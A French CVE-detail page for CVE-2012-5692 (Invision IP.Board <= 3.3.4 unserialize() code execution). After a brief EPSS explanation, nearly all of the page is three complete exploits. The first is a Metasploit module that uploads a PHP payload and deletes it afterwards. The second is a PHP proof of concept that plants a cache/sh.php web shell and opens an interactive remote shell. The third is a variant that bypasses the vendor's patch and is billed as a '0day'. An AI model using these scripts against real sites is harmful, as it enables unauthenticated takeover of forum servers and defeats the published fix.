CVE-2012-5692 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in Invision IP.Board <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary code under the context of the webserver user. The dangerous unserialize() exists in the '/admin/sources/base/core.php' script, which is called with user controlled data from the cookie. The exploit abuses the __destruct() method from the dbMain class to write arbitrary PHP code to a file on the Invision IP.Board web directory. The exploit has been tested successfully on Invision IP.Board 3.3.4. }, 'Author' => [ 'EgiX', # Vulnerability discovery and PoC 'juan vazquez', # Metasploit module 'sinn3r' # PhpEXE tekniq & check() method ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-5692' ], [ 'OSVDB', '86702' ], [ 'BID', '56288' ], [ 'EDB', '22398' ], [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'Space' => 8000, #Apache's limit for GET 'DisableNops' => true }, 'Targets' => [ ['Invision IP.Board 3.3.4', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 25 2012' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"]) ], self.class) end def base base = target_uri.path base << '/' if base[-1, 1] != '/' return base end def check res = send_request_raw({'uri'=>"#{base}index.php"}) return Exploit::CheckCode::Unknown if not res version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten version = version.map {|e| e.to_i} # We only want major version 3 # This version checking is based on OSVDB's info return Exploit::CheckCode::Safe if version[0] != 3 case version[1] when 1 return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4) when 2 return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3) when 3 return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4) end return Exploit::CheckCode::Safe end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin print_warning("#{@peer} - Deleting #{@upload_php}") client.fs.file.rm(@upload_php) print_good("#{@peer} - #{@upload_php} removed to stay ninja") rescue print_error("#{@peer} - Unable to remove #{f}") end end end def exploit @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" # get_write_exec_payload uses a function, which limits our ability to support # Linux payloads, because that requires a space: # function my_cmd # becomes: # functionmy_cmd #Causes parsing error # We'll have to address that in the mixin, and then come back to this module # again later. php_payload = get_write_exec_payload(:unlink_self=>true) php_payload = php_payload.gsub(/^\<\?php/, '<?') php_payload = php_payload.gsub(/ /,'') db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}" print_status("#{@peer} - Exploiting the unserialize() to upload PHP code") res = send_request_cgi( { 'uri' => "#{base}index.php?#{php_payload}", 'method' => 'GET', 'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}" }) if not res or res.code != 200 print_error("#{@peer} - Exploit failed: #{res.code}") return end print_status("#{@peer} - Executing the payload #{@upload_php}") res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"}) if res print_error("#{@peer} - Payload execution failed: #{res.code}") return end end end

<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------------+"; print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } $payload = urlencode(serialize(array(new db_driver_mysql))); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }

<?php /* So this is the patch that sanitizes, static public function safeUnserialize( $serialized ) { // unserialize will return false for object declared with small cap o // as well as if there is any ws between O and : if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false ) { if ( strpos( $serialized, 'O:' ) === false ) { // the easy case, nothing to worry about // let unserialize do the job return @unserialize( $serialized ); } else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) ) { // in case we did have a string with O: in it, // but it was not a true serialized object return @unserialize( $serialized ); } } return false; } And this is what bypasses it ( By @i0n1c ) $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}'); Which makes this an IPB 0day. lulz! - webDEViL */ /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+-----------------------------------+"; print "\n| Invision Power Board 0day Exploit |"; print "\n+-----------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } # Super bypass by @i0n1c $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}'); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>